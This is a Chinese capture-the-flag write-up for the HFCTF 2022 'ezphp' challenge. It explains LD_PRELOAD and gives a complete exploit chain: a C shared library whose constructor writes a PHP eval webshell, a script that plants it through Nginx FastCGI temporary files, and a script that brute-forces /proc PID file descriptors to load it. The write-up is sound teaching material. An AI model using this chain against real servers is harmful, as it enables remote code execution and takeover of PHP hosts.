很经典的一题,之前一直没空看,鸽了好久
<?php (empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022');?>
考点是上传恶意so文件,然后设置LD_PRELOAD
来加载我们的恶意so文件
什么是LD_PRELOAD
LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入代码,从而达到特定的目的。
什么是链接
程序的链接主要有以下三种:
- 静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。
- 装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。
- 运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。
对于动态链接来说,需要一个动态链接库,其作用在于当动态库中的函数发生变化对于可执行程序来说时透明的,可执行程序无需重新编译,方便程序的发布/维护/更新。但是由于程序是在运行时动态加载,这就存在一个问题,假如程序动态加载的函数是恶意的,就有可能导致disable_function被绕过。
如何上传恶意so文件
当 Nginx 接收来自 FastCGI 的响应时,若大小超过限定值不适合以内存的形式来存储的时候,阈值的大小大概在 32KB 左右,一部分就会以临时文件的方式保存到磁盘上。
nginx的临时文件格式为/var/lib/nginx/fastcgi/x/y/0000000yx
但是这些临时文件会在很短的时间内删除,因此我们要利用/proc/PID/fd/
如果打开一个进程打开了某个文件,某个文件就会出现在 /proc/PID/fd/
目录下
总结一下就是:
- 让后端 php 请求一个过大的文件
- Fastcgi 返回响应包过大,导致 Nginx 需要产生临时文件进行缓存
- 虽然 Nginx 删除了
/var/lib/nginx/fastcgi
下的临时文件,但是在/proc/pid/fd/
下我们可以找到被删除的文件 - 设置LD_PRELOAD的路径getshell
exp.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("echo \"<?php eval(\\$_POST[cmd]);?>\" > /var/www/html/shell.php");
}
编译成so文件
gcc -shared -fPIC exp.c -o exp.so
增大so文件的大小,在so文件尾部加入脏字符
var=`dd if=/dev/zero bs=1c count=10000 | tr '\0' 'c'`
echo $var >> 1.so
gen_tmp.py上传so文件
from threading import Thread
import requests
import socket
import time
port = 81
host = "192.168.40.128"
def do_so():
data = open("exp.so", "rb").read()
packet = f"""POST /index.php HTTP/1.1\r\nHOST:{host}:{port}\r\nContent-Length:{len(data) + 11}\r\n\r\n"""
packet = packet.encode()
packet += data
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(packet)
time.sleep(10)
s.close()
if __name__ == "__main__":
do_so()
brute.py爆破pid
import requests
from threading import Thread
port = 81
host = "192.168.40.128"
def ldload(pid, fd):
sopath = f"/proc/{pid}/fd/{fd}"
print(sopath)
r = requests.get(f"http://{host}:{port}/index.php", params={"env":f"LD_PRELOAD={sopath}"})
return r
if __name__ == "__main__":
# ldload(20, 20)
for pid in range(12, 40):
for fd in range(1, 40):
t = Thread(target=ldload, args=(pid, fd))
t.start()
同时运行,成功访问到shell.php
虎符CTF2022-ezphp - dre0m1 - 博客园 (cnblogs.com)
HFCTF 2022]两道web题目wp_Snakin_ya的博客-CSDN博客